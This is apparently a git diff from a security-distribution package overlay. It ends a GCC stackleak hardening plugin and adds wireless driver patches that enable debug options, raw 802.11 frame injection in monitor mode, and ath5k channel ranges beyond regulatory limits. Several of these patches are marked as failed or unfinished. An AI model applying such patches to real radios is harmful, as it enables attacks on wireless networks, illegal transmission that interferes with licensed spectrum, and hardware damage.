++	if (gimple_call_builtin_p(stmt, BUILT_IN_ALLOCA_WITH_ALIGN))
++		return true;
++#endif
++
++	return false;
++}
++
++static unsigned int execute_stackleak_tree_instrument(void)
++{
++	basic_block bb, entry_bb;
++	bool prologue_instrumented = false, is_leaf = true;
++
++	entry_bb = ENTRY_BLOCK_PTR_FOR_FUNCTION(cfun)->next_bb;
++
++	// 1. loop through BBs and GIMPLE statements
++	FOR_EACH_BB(bb) {
++		gimple_stmt_iterator gsi;
++
++		for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) {
++			gimple stmt;
++
++			stmt = gsi_stmt(gsi);
++
++			if (is_gimple_call(stmt))
++				is_leaf = false;
++
++			// gimple match: align 8 built-in BUILT_IN_NORMAL:BUILT_IN_ALLOCA attributes <tree_list 0xb7576450>
++			if (!is_alloca(stmt))
++				continue;
++
++			// 2. insert stack overflow check before each __builtin_alloca call
++			stackleak_check_alloca(&gsi);
++
++			// 3. insert track call after each __builtin_alloca call
++			stackleak_add_instrumentation(&gsi);
++			if (bb == entry_bb)
++				prologue_instrumented = true;
++		}
++	}
++
++	// special cases for some bad linux code: taking the address of static inline functions will materialize them
++	// but we mustn't instrument some of them as the resulting stack alignment required by the function call ABI
++	// will break other assumptions regarding the expected (but not otherwise enforced) register clobbering  ABI.
++	// case in point: native_save_fl on amd64 when optimized for size clobbers rdx if it were instrumented here.
++	if (is_leaf && !TREE_PUBLIC(current_function_decl) && DECL_DECLARED_INLINE_P(current_function_decl))
++		return 0;
++	if (is_leaf && !strncmp(IDENTIFIER_POINTER(DECL_NAME(current_function_decl)), "_paravirt_", 10))
++		return 0;
++
++	// 4. insert track call at the beginning
++	if (!prologue_instrumented) {
++		gimple_stmt_iterator gsi;
++
++		bb = split_block_after_labels(ENTRY_BLOCK_PTR)->dest;
++		if (dom_info_available_p(CDI_DOMINATORS))
++			set_immediate_dominator(CDI_DOMINATORS, bb, ENTRY_BLOCK_PTR);
++		gsi = gsi_start_bb(bb);
++		stackleak_add_instrumentation(&gsi);
++	}
++
++	return 0;
++}
++
++static unsigned int execute_stackleak_final(void)
++{
++	rtx insn;
++
++	if (cfun->calls_alloca)
++		return 0;
++
++	// keep calls only if function frame is big enough
++	if (get_frame_size() >= track_frame_size)
++		return 0;
++
++	// 1. find pax_track_stack calls
++	for (insn = get_insns(); insn; insn = NEXT_INSN(insn)) {
++		// rtl match: (call_insn 8 7 9 3 (call (mem (symbol_ref ("pax_track_stack") [flags 0x41] <function_decl 0xb7470e80 pax_track_stack>) [0 S1 A8]) (4)) -1 (nil) (nil))
++		rtx body;
++
++		if (!CALL_P(insn))
++			continue;
++		body = PATTERN(insn);
++		if (GET_CODE(body) != CALL)
++			continue;
++		body = XEXP(body, 0);
++		if (GET_CODE(body) != MEM)
++			continue;
++		body = XEXP(body, 0);
++		if (GET_CODE(body) != SYMBOL_REF)
++			continue;
++		if (strcmp(XSTR(body, 0), track_function))
++			continue;
++//		warning(0, "track_frame_size: %d %ld %d", cfun->calls_alloca, get_frame_size(), track_frame_size);
++		// 2. delete call
++		insn = delete_insn_and_edges(insn);
++#if BUILDING_GCC_VERSION >= 4007
++		if (GET_CODE(insn) == NOTE && NOTE_KIND(insn) == NOTE_INSN_CALL_ARG_LOCATION)
++			insn = delete_insn_and_edges(insn);
++#endif
++	}
++
++//	print_simple_rtl(stderr, get_insns());
++//	print_rtl(stderr, get_insns());
++//	warning(0, "track_frame_size: %d %ld %d", cfun->calls_alloca, get_frame_size(), track_frame_size);
++
++	return 0;
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	const int argc = plugin_info->argc;
++	const struct plugin_argument * const argv = plugin_info->argv;
++	int i;
++	struct register_pass_info stackleak_tree_instrument_pass_info = {
++		.pass				= &stackleak_tree_instrument_pass.pass,
++//		.reference_pass_name		= "tree_profile",
++		.reference_pass_name		= "optimized",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_BEFORE
++	};
++	struct register_pass_info stackleak_final_pass_info = {
++		.pass				= &stackleak_final_rtl_opt_pass.pass,
++		.reference_pass_name		= "final",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_BEFORE
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &stackleak_plugin_info);
++
++	for (i = 0; i < argc; ++i) {
++		if (!strcmp(argv[i].key, "track-lowest-sp")) {
++			if (!argv[i].value) {
++				error(G_("no value supplied for option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++				continue;
++			}
++			track_frame_size = atoi(argv[i].value);
++			if (argv[i].value[0] < '0' || argv[i].value[0] > '9' || track_frame_size < 0)
++				error(G_("invalid option argument '-fplugin-arg-%s-%s=%s'"), plugin_name, argv[i].key, argv[i].value);
++			continue;
++		}
++		if (!strcmp(argv[i].key, "initialize-locals")) {
++			if (argv[i].value) {
++				error(G_("invalid option argument '-fplugin-arg-%s-%s=%s'"), plugin_name, argv[i].key, argv[i].value);
++				continue;
++			}
++			init_locals = true;
++			continue;
++		}
++		error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++	}
++
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &stackleak_tree_instrument_pass_info);
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &stackleak_final_pass_info);
++
++	return 0;
++}
diff --git a/net-wireless/compat-wireless/files/driver-debug.patch b/net-wireless/compat-wireless/files/driver-debug.patch
new file mode 100644
index 00000000..a50ed693
--- /dev/null
+++ b/net-wireless/compat-wireless/files/driver-debug.patch
@@ -0,0 +1,120 @@
+diff -Naur /var/tmp/portage/net-wireless/compat-wireless-2.6.35_rc2-r1/work/compat-wireless-2.6.35-rc2/config.mk /usr/src/compat-wireless-2.6.35-rc2/config.mk
+--- /var/tmp/portage/net-wireless/compat-wireless-2.6.35_rc2-r1/work/compat-wireless-2.6.35-rc2/config.mk	2010-06-12 01:28:31.000000000 -0400
++++ /usr/src/compat-wireless-2.6.35-rc2/config.mk	2010-06-12 01:35:32.000000000 -0400
+@@ -172,7 +172,7 @@
+ ifneq ($(CONFIG_PCI),)
+ 
+ CONFIG_ATH5K=m
+-# CONFIG_ATH5K_DEBUG=y
++CONFIG_ATH5K_DEBUG=y
+ CONFIG_ATH9K_HW=m
+ CONFIG_ATH9K=m
+ # Note: once ath9k_htc is added we'll have to move
+@@ -183,7 +183,7 @@
+ 
+ 
+ CONFIG_IWLWIFI=m
+-# CONFIG_IWLWIFI_DEBUG=y
++CONFIG_IWLWIFI_DEBUG=y
+ # CONFIG_IWLWIFI_DEBUGFS=y
+ # CONFIG_IWLWIFI_DEVICE_TRACING=y
+ CONFIG_IWLAGN=m
+@@ -202,30 +202,30 @@
+ CONFIG_B43_PHY_LP=y
+ CONFIG_B43_NPHY=y
+ # CONFIG_B43_FORCE_PIO=y
+-# CONFIG_B43_DEBUG=y
++CONFIG_B43_DEBUG=y
+ 
+ CONFIG_B43LEGACY=m
+ CONFIG_B43LEGACY_HWRNG=y
+ CONFIG_B43LEGACY_PCI_AUTOSELECT=y
+ CONFIG_B43LEGACY_LEDS=y
+-# CONFIG_B43LEGACY_DEBUG=y
++CONFIG_B43LEGACY_DEBUG=y
+ CONFIG_B43LEGACY_DMA=y
+ CONFIG_B43LEGACY_PIO=y
+ 
+ # The Intel ipws
+ CONFIG_LIBIPW=m
+-# CONFIG_LIBIPW_DEBUG=y
++CONFIG_LIBIPW_DEBUG=y
+ 
+ 
+ CONFIG_IPW2100=m
+ CONFIG_IPW2100_MONITOR=y
+-# CONFIG_IPW2100_DEBUG=y
++CONFIG_IPW2100_DEBUG=y
+ CONFIG_IPW2200=m
+ CONFIG_IPW2200_MONITOR=y
+ CONFIG_IPW2200_RADIOTAP=y
+ CONFIG_IPW2200_PROMISCUOUS=y
+ CONFIG_IPW2200_QOS=y
+-# CONFIG_IPW2200_DEBUG=y
++CONFIG_IPW2200_DEBUG=y
+ # The above enables use a second interface prefixed 'rtap'.
+ #           Example usage:
+ #
+@@ -242,7 +242,7 @@
+ ifneq ($(CONFIG_SSB),)
+ # Sonics Silicon Backplane
+ CONFIG_SSB_SPROM=y
+-# CONFIG_SSB_DEBUG=y
++CONFIG_SSB_DEBUG=y
+ 
+ CONFIG_SSB_BLOCKIO=y
+ CONFIG_SSB_PCIHOST=y
+@@ -250,7 +250,7 @@
+ ifneq ($(CONFIG_PCMCIA),)
+ CONFIG_SSB_PCMCIAHOST=y
+ endif
+-# CONFIG_SSB_DEBUG=y
++CONFIG_SSB_DEBUG=y
+ CONFIG_SSB_DRIVER_PCICORE=y
+ endif
+ 
+@@ -327,7 +327,7 @@
+ # USB Drivers
+ ifneq ($(CONFIG_USB),)
+ CONFIG_ZD1211RW=m
+-# CONFIG_ZD1211RW_DEBUG=y
++CONFIG_ZD1211RW_DEBUG=y
+ 
+ # Sorry, rndis_wlan uses cancel_work_sync which is new and can't be done in compat...
+ 
+@@ -433,7 +433,7 @@
+ # iwmc3200wifi uses new netdev_ops api no supported by old kernel.
+ ifndef CONFIG_COMPAT_KERNEL_29
+ CONFIG_IWM=m
+-# CONFIG_IWM_DEBUG=y
++CONFIG_IWM_DEBUG=y
+ endif
+ 
+ endif # end of SDIO driver list
+@@ -447,7 +447,7 @@
+ CONFIG_RT2X00_LIB_FIRMWARE=y
+ CONFIG_RT2X00_LIB_CRYPTO=y
+ CONFIG_RT2X00_LIB_LEDS=y
+-# CONFIG_RT2X00_DEBUG=y
++CONFIG_RT2X00_DEBUG=y
+ # CONFIG_RT2X00_LIB_DEBUGFS
+ endif
+ 
+@@ -461,7 +461,7 @@
+ 
+ # Atheros
+ CONFIG_ATH_COMMON=m
+-# CONFIG_ATH_DEBUG=y
++CONFIG_ATH_DEBUG=y
+ 
+ CONFIG_WL12XX=y
+ CONFIG_WL1251=m
+@@ -476,7 +476,7 @@
+ CONFIG_LIBERTAS_THINFIRM=m
+ CONFIG_LIBERTAS=m
+ CONFIG_LIBERTAS_MESH=y
+-# CONFIG_LIBERTAS_DEBUG=y
++CONFIG_LIBERTAS_DEBUG=y
+ endif
+ endif
+ 
diff --git a/net-wireless/compat-wireless/files/failed_ath5k-frequency-chaos-2.6.28.patch b/net-wireless/compat-wireless/files/failed_ath5k-frequency-chaos-2.6.28.patch
new file mode 100644
index 00000000..ebe0936e
--- /dev/null
+++ b/net-wireless/compat-wireless/files/failed_ath5k-frequency-chaos-2.6.28.patch
@@ -0,0 +1,152 @@
+diff -Naur linux-2.6.28/drivers/net/wireless/ath5k/base.c linux-2.6.28-chaos/drivers/net/wireless/ath5k/base.c
+--- linux-2.6.28/drivers/net/wireless/ath5k/base.c	2008-12-24 18:26:37.000000000 -0500
++++ linux-2.6.28-chaos/drivers/net/wireless/ath5k/base.c	2009-02-06 21:38:43.000000000 -0500
+@@ -272,7 +272,7 @@
+ static void 	ath5k_detach(struct pci_dev *pdev,
+ 			struct ieee80211_hw *hw);
+ /* Channel/mode setup */
+-static inline short ath5k_ieee2mhz(short chan);
++static inline short ath5k_ieee2mhz(int chan, unsigned int chfreq);
+ static unsigned int ath5k_copy_channels(struct ath5k_hw *ah,
+ 				struct ieee80211_channel *channels,
+ 				unsigned int mode,
+@@ -848,12 +848,16 @@
+  * Convert IEEE channel number to MHz frequency.
+  */
+ static inline short
+-ath5k_ieee2mhz(short chan)
++ath5k_ieee2mhz(int chan, unsigned int chfreq)
+ {
+-	if (chan <= 14 || chan >= 27)
+-		return ieee80211chan2mhz(chan);
++	if (chfreq == CHANNEL_5GHZ)
++		return (chan + 1000) * 5;
+ 	else
+-		return 2212 + chan * 20;
++// XXX: This part needs to be fixed
++		if (chan <= 14 || chan >= 27)
++			return ieee80211chan2mhz(chan);
++		else
++			return 2212 + chan * 20;
+ }
+ 
+ static unsigned int
+@@ -862,22 +866,25 @@
+ 		unsigned int mode,
+ 		unsigned int max)
+ {
+-	unsigned int i, count, size, chfreq, freq, ch;
++	unsigned int i, count, size, chfreq, freq;
++       	int ch;
+ 
+ 	if (!test_bit(mode, ah->ah_modes))
+ 		return 0;
+ 
+ 	switch (mode) {
++        /* I don't even like channel numbers */
+ 	case AR5K_MODE_11A:
+ 	case AR5K_MODE_11A_TURBO:
+-		/* 1..220, but 2GHz frequencies are filtered by check_channel */
+-		size = 220 ;
++		size = 241 ; // going over 6.0GHz may be dangerous so I am limiting it
++		ch = -40; // might be able to push this to -201 or so, needs more testing
+ 		chfreq = CHANNEL_5GHZ;
+ 		break;
+ 	case AR5K_MODE_11B:
+ 	case AR5K_MODE_11G:
+ 	case AR5K_MODE_11G_TURBO:
+-		size = 26;
++		size = 70;
++		ch = -43;
+ 		chfreq = CHANNEL_2GHZ;
+ 		break;
+ 	default:
+@@ -885,9 +892,8 @@
+ 		return 0;
+ 	}
+ 
+-	for (i = 0, count = 0; i < size && max > 0; i++) {
+-		ch = i + 1 ;
+-		freq = ath5k_ieee2mhz(ch);
++	for (i = 0, count = 0; i < size && max > 0; i++,ch++) {
++		freq = ath5k_ieee2mhz(ch,chfreq);
+ 
+ 		/* Check if channel is supported by the chipset */
+ 		if (!ath5k_channel_ok(ah, freq, chfreq))
+diff -Naur linux-2.6.28/drivers/net/wireless/ath5k/base.h linux-2.6.28-chaos/drivers/net/wireless/ath5k/base.h
+--- linux-2.6.28/drivers/net/wireless/ath5k/base.h	2008-12-24 18:26:37.000000000 -0500
++++ linux-2.6.28-chaos/drivers/net/wireless/ath5k/base.h	2009-02-06 21:38:43.000000000 -0500
+@@ -93,11 +93,7 @@
+ };
+ 
+ 
+-#if CHAN_DEBUG
+-#define ATH_CHAN_MAX	(26+26+26+200+200)
+-#else
+-#define ATH_CHAN_MAX	(14+14+14+252+20)
+-#endif
++#define ATH_CHAN_MAX	(70+70+70+240+240) // b+g+gT+a+aT XXX: This is probably excessive
+ 
+ /* Software Carrier, keeps track of the driver state
+  * associated with an instance of a device */
+diff -Naur linux-2.6.28/drivers/net/wireless/ath5k/caps.c linux-2.6.28-chaos/drivers/net/wireless/ath5k/caps.c
+--- linux-2.6.28/drivers/net/wireless/ath5k/caps.c	2008-12-24 18:26:37.000000000 -0500
++++ linux-2.6.28-chaos/drivers/net/wireless/ath5k/caps.c	2009-02-06 21:38:43.000000000 -0500
+@@ -69,9 +69,9 @@
+ 
+ 		if (AR5K_EEPROM_HDR_11A(ee_header)) {
+ 			/* 4920 */
+-			ah->ah_capabilities.cap_range.range_5ghz_min = 5005;
+-			ah->ah_capabilities.cap_range.range_5ghz_max = 6100;
+-
++			ah->ah_capabilities.cap_range.range_5ghz_min = 4800;
++			ah->ah_capabilities.cap_range.range_5ghz_max = 6000; /* 6100 is what the code said but */
++									     /* it fried my Ubiquiti SRC       */
+ 			/* Set supported modes */
+ 			__set_bit(AR5K_MODE_11A,
+ 					ah->ah_capabilities.cap_mode);
+@@ -87,7 +87,7 @@
+ 		if (AR5K_EEPROM_HDR_11B(ee_header) ||
+ 				AR5K_EEPROM_HDR_11G(ee_header)) {
+ 			/* 2312 */
+-			ah->ah_capabilities.cap_range.range_2ghz_min = 2412;
++			ah->ah_capabilities.cap_range.range_2ghz_min = 2192; /* this is the bottom of the registers */
+ 			ah->ah_capabilities.cap_range.range_2ghz_max = 2732;
+ 
+ 			if (AR5K_EEPROM_HDR_11B(ee_header))
+diff -Naur linux-2.6.28/net/mac80211/tx.c linux-2.6.28-chaos/net/mac80211/tx.c
+--- linux-2.6.28/net/mac80211/tx.c	2008-12-24 18:26:37.000000000 -0500
++++ linux-2.6.28-chaos/net/mac80211/tx.c	2009-02-06 21:38:53.000000000 -0500
+@@ -1378,10 +1378,32 @@
+ 				 struct net_device *dev)
+ {
+ 	struct ieee80211_local *local = wdev_priv(dev->ieee80211_ptr);
++	struct ieee80211_channel *chan = local->hw.conf.channel;
+ 	struct ieee80211_radiotap_header *prthdr =
+ 		(struct ieee80211_radiotap_header *)skb->data;
+ 	u16 len_rthdr;
+ 
++	/*
++	 * Frame injection is not allowed if beaconing is not allowed
++	 * or if we need radar detection. Beaconing is usually not allowed when
++	 * the mode or operation (Adhoc, AP, Mesh) does not support DFS.
++	 * Passive scan is also used in world regulatory domains where
++	 * your country is not known and as such it should be treated as
++	 * NO TX unless the channel is explicitly allowed in which case
++	 * your current regulatory domain would not have the passive scan
++	 * flag.
++	 *
++	 * Since AP mode uses monitor interfaces to inject/TX management
++	 * frames we can make AP mode the exception to this rule once it
++	 * supports radar detection as its implementation can deal with
++	 * radar detection by itself. We can do that later by adding a
++	 * monitor flag interfaces used for AP support.
++	 */
++	if ((chan->flags & (IEEE80211_CHAN_NO_IBSS | IEEE80211_CHAN_RADAR |
++	     IEEE80211_CHAN_PASSIVE_SCAN)))
++	        return TX_DROP;
++		/* This was intended for the kernel patch but it didn't work;  goto fail; */
++
+ 	/* check for not even having the fixed radiotap header part */
+ 	if (unlikely(skb->len < sizeof(struct ieee80211_radiotap_header)))
+ 		goto fail; /* too short to be possibly valid */
diff --git a/net-wireless/compat-wireless/files/failed_ieee80211_inject-2.6.22.patch b/net-wireless/compat-wireless/files/failed_ieee80211_inject-2.6.22.patch
new file mode 100644
index 00000000..f31a0f01
--- /dev/null
+++ b/net-wireless/compat-wireless/files/failed_ieee80211_inject-2.6.22.patch
@@ -0,0 +1,26 @@
+--- linux-2.6.23_orig/net/ieee80211/ieee80211_tx.c	2007-10-09 22:31:38.000000000 +0200
++++ linux-2.6.23/net/ieee80211/ieee80211_tx.c	2007-10-14 19:39:49.000000000 +0200
+@@ -293,6 +293,23 @@
+ 
+ 	ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto);
+ 
++	if(ieee->iw_mode == IW_MODE_MONITOR)
++	{
++		txb = ieee80211_alloc_txb(1, skb->len,
++					ieee->tx_headroom, GFP_ATOMIC);
++		if (unlikely(!txb)) {
++			printk(KERN_WARNING "%s: Could not allocate TXB\n",
++			ieee->dev->name);
++			goto failed;
++		}
++
++		txb->encrypted = 0;
++		txb->payload_size = skb->len;
++		skb_copy_from_linear_data(skb, skb_put(txb->fragments[0],skb->len), skb->len);
++
++		goto success;
++	}
++
+ 	crypt = ieee->crypt[ieee->tx_keyidx];
+ 
+ 	encrypt = !(ether_type == ETH_P_PAE && ieee->ieee802_1x) &&
diff --git a/net-wireless/compat-wireless/files/failed_linux-wlanng-kernel-2.6.28.patch b/net-wireless/compat-wireless/files/failed_linux-wlanng-kernel-2.6.28.patch
new file mode 100644
index 00000000..757973f8
--- /dev/null
+++ b/net-wireless/compat-wireless/files/failed_linux-wlanng-kernel-2.6.28.patch
@@ -0,0 +1,299 @@
+diff -Naur linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/hfa384x.c linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/hfa384x.c
+--- linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/hfa384x.c	2008-12-24 18:26:37.000000000 -0500
++++ linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/hfa384x.c	2009-04-04 22:53:46.000000000 -0400
+@@ -1873,8 +1873,16 @@
+ 
+ 	DBFENTER;
+ 
+-	cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) |
+-		HFA384x_CMD_AINFO_SET(enable);
++//	cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) |
++//		HFA384x_CMD_AINFO_SET(enable);
++	if (enable == HFA384x_MONITOR_ENABLE) {
++		// KoreK: get into test mode 0x0a
++		cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) |
++ 			HFA384x_CMD_AINFO_SET(0x0a);
++	} else {
++		cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) |
++			HFA384x_CMD_AINFO_SET(enable);
++ 	}
+ 	cmd.parm0 = 0;
+ 	cmd.parm1 = 0;
+ 	cmd.parm2 = 0;
+@@ -3114,11 +3122,32 @@
+ #endif
+ 
+ 	/* if we're using host WEP, increase size by IV+ICV */
+-	if (p80211_wep->data) {
+-		txdesc.data_len = host2hfa384x_16(skb->len+8);
+-		//		txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1);
+-	} else {
+-		txdesc.data_len =  host2hfa384x_16(skb->len);
++//	if (p80211_wep->data) {
++//		txdesc.data_len = host2hfa384x_16(skb->len+8);
++//		//              txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1);
++//	} else {
++//		txdesc.data_len =  host2hfa384x_16(skb->len);
++//	}
++
++	if (skb->protocol != htons(ETH_P_80211_RAW)) {
++		/* if we're using host WEP, increase size by IV+ICV */
++		if (p80211_wep->data) {
++			txdesc.data_len = host2hfa384x_16(skb->len+8);
++			// txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1);
++		} else {
++			txdesc.data_len =  host2hfa384x_16(skb->len);
++		}
++		} else {
++		/* KoreK: raw injection (monitor mode): pull the rest of
++		   the header and ssanity check on txdesc.data_len */
++		memcpy(&(txdesc.data_len), skb->data, 16);
++		skb_pull(skb,16);
++		if (txdesc.data_len != host2hfa384x_16(skb->len)) {
++			printk(KERN_DEBUG "mismatch frame_len, drop frame\n");
++		return 0;
++		}
++
++		txdesc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1);
+ 	}
+ 
+ 	txdesc.tx_control = host2hfa384x_16(txdesc.tx_control);
+@@ -3142,7 +3171,8 @@
+ 	spin_lock(&hw->cmdlock);
+ 
+ 	/* Copy descriptor+payload to FID */
+-        if (p80211_wep->data) {
++//        if (p80211_wep->data) {
++	if (p80211_wep->data && (skb->protocol != htons(ETH_P_80211_RAW))) {
+ 		result = hfa384x_copy_to_bap4(hw, HFA384x_BAP_PROC, fid, 0,
+ 					      &txdesc, sizeof(txdesc),
+ 					      p80211_wep->iv, sizeof(p80211_wep->iv),
+@@ -3588,6 +3618,17 @@
+ 	{
+ 	case 0:
+ 
++		/* KoreK: this testmode uses macport 0 */
++		if ((wlandev->netdev->type == ARPHRD_IEEE80211) ||
++			(wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) {
++			if ( ! HFA384x_RXSTATUS_ISFCSERR(rxdesc.status) ) {
++				hfa384x_int_rxmonitor( wlandev, rxfid, &rxdesc);
++			} else {
++				WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n");
++			}
++			goto done;
++		}
++
+ 		fc = ieee2host16(rxdesc.frame_control);
+ 
+ 		/* If exclude and we receive an unencrypted, drop it */
+diff -Naur linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/hfa384x_usb.c linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/hfa384x_usb.c
+--- linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/hfa384x_usb.c	2008-12-24 18:26:37.000000000 -0500
++++ linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/hfa384x_usb.c	2009-04-04 23:13:53.000000000 -0400
+@@ -1430,8 +1430,17 @@
+ 
+ 	DBFENTER;
+ 
+-	cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) |
+-		HFA384x_CMD_AINFO_SET(enable);
++//	cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) |
++//		HFA384x_CMD_AINFO_SET(enable);
++	if (enable == HFA384x_MONITOR_ENABLE) {
++		// KoreK: get into test mode 0x0a
++		cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) |
++			HFA384x_CMD_AINFO_SET(0x0a);
++	} else {
++		cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) |
++			HFA384x_CMD_AINFO_SET(enable);
++	}
++
+ 	cmd.parm0 = 0;
+ 	cmd.parm1 = 0;
+ 	cmd.parm2 = 0;
+@@ -3431,37 +3440,71 @@
+ 		HFA384x_TX_MACPORT_SET(0) | HFA384x_TX_STRUCTYPE_SET(1) |
+ 		HFA384x_TX_TXEX_SET(0) | HFA384x_TX_TXOK_SET(0);
+ #endif
+-	hw->txbuff.txfrm.desc.tx_control =
+-		host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control);
++//	hw->txbuff.txfrm.desc.tx_control =
++//		host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control);
+ 
+-	/* copy the header over to the txdesc */
+-	memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t));
+-
+-	/* if we're using host WEP, increase size by IV+ICV */
+-	if (p80211_wep->data) {
+-		hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8);
+-		// hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1);
+-		usbpktlen+=8;
+-	} else {
+-		hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len);
++//	/* copy the header over to the txdesc */
++//	memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t));
++	if (skb->protocol != htons(ETH_P_80211_RAW)) {
++		hw->txbuff.txfrm.desc.tx_control =
++			host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control);
++
++		/* copy the header over to the txdesc */
++		memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr,
++			sizeof(p80211_hdr_t));
++
++		/* if we're using host WEP, increase size by IV+ICV */
++		if (p80211_wep->data) {
++			hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8);
++			// hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1);
++			usbpktlen+=8;
++		} else {
++			hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len);
++		}
++	} else  {
++		/* KoreK: raw injection (monitor mode): pull the rest of
++		   the header and ssanity check on txdesc.data_len */
++		memcpy(&(hw->txbuff.txfrm.desc.data_len), skb->data, 16);
++		skb_pull(skb,16);
++		if (hw->txbuff.txfrm.desc.data_len != host2hfa384x_16(skb->len)) {
++			printk(KERN_DEBUG "mismatch frame_len, drop frame\n");
++			return 0;
++		}
++//	/* if we're using host WEP, increase size by IV+ICV */
++//	if (p80211_wep->data) {
++//		hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8);
++//		// hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1);
++//		usbpktlen+=8;
++//	} else {
++//		hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len);
++		hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1);
++		hw->txbuff.txfrm.desc.tx_control  =
++			host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control);
++
++		/* copy the header over to the txdesc */
++		memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr,
++			sizeof(p80211_hdr_t));
+ 	}
+ 
+ 	usbpktlen += skb->len;
+ 
+ 	/* copy over the WEP IV if we are using host WEP */
+ 	ptr = hw->txbuff.txfrm.data;
+-	if (p80211_wep->data) {
++//	if (p80211_wep->data) {
++	if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) {
+ 		memcpy(ptr, p80211_wep->iv, sizeof(p80211_wep->iv));
+ 		ptr+= sizeof(p80211_wep->iv);
+ 		memcpy(ptr, p80211_wep->data, skb->len);
+ 	} else {
+ 		memcpy(ptr, skb->data, skb->len);
+ 	}
++
+ 	/* copy over the packet data */
+ 	ptr+= skb->len;
+ 
+ 	/* copy over the WEP ICV if we are using host WEP */
+-	if (p80211_wep->data) {
++//	if (p80211_wep->data) {
++	if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) {
+ 		memcpy(ptr, p80211_wep->icv, sizeof(p80211_wep->icv));
+ 	}
+ 
+@@ -4223,6 +4266,17 @@
+ 	switch( HFA384x_RXSTATUS_MACPORT_GET(usbin->rxfrm.desc.status) )
+ 	{
+ 	case 0:
++		/* KoreK: this testmode uses macport 0 */
++		if ((wlandev->netdev->type == ARPHRD_IEEE80211) ||
++			(wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) {
++			if ( ! HFA384x_RXSTATUS_ISFCSERR(usbin->rxfrm.desc.status) ) {
++				hfa384x_int_rxmonitor(wlandev, &usbin->rxfrm);
++			} else {
++				WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n");
++			}
++			goto done;
++		}
++
+ 		fc = ieee2host16(usbin->rxfrm.desc.frame_control);
+ 
+ 		/* If exclude and we receive an unencrypted, drop it */
+diff -Naur linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/p80211netdev.c linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/p80211netdev.c
+--- linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/p80211netdev.c	2008-12-24 18:26:37.000000000 -0500
++++ linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/p80211netdev.c	2009-04-04 22:42:15.000000000 -0400
+@@ -512,7 +512,7 @@
+ 		 * and return success .
+ 		 * TODO: we need a saner way to handle this
+ 		 */
+-		if(skb->protocol != ETH_P_80211_RAW) {
++		if(skb->protocol != htons(ETH_P_80211_RAW)) {
+ 			p80211netdev_start_queue(wlandev);
+ 			WLAN_LOG_NOTICE(
+ 				"Tx attempt prior to association, frame dropped.\n");
+@@ -524,7 +524,7 @@
+ 	}
+ 
+ 	/* Check for raw transmits */
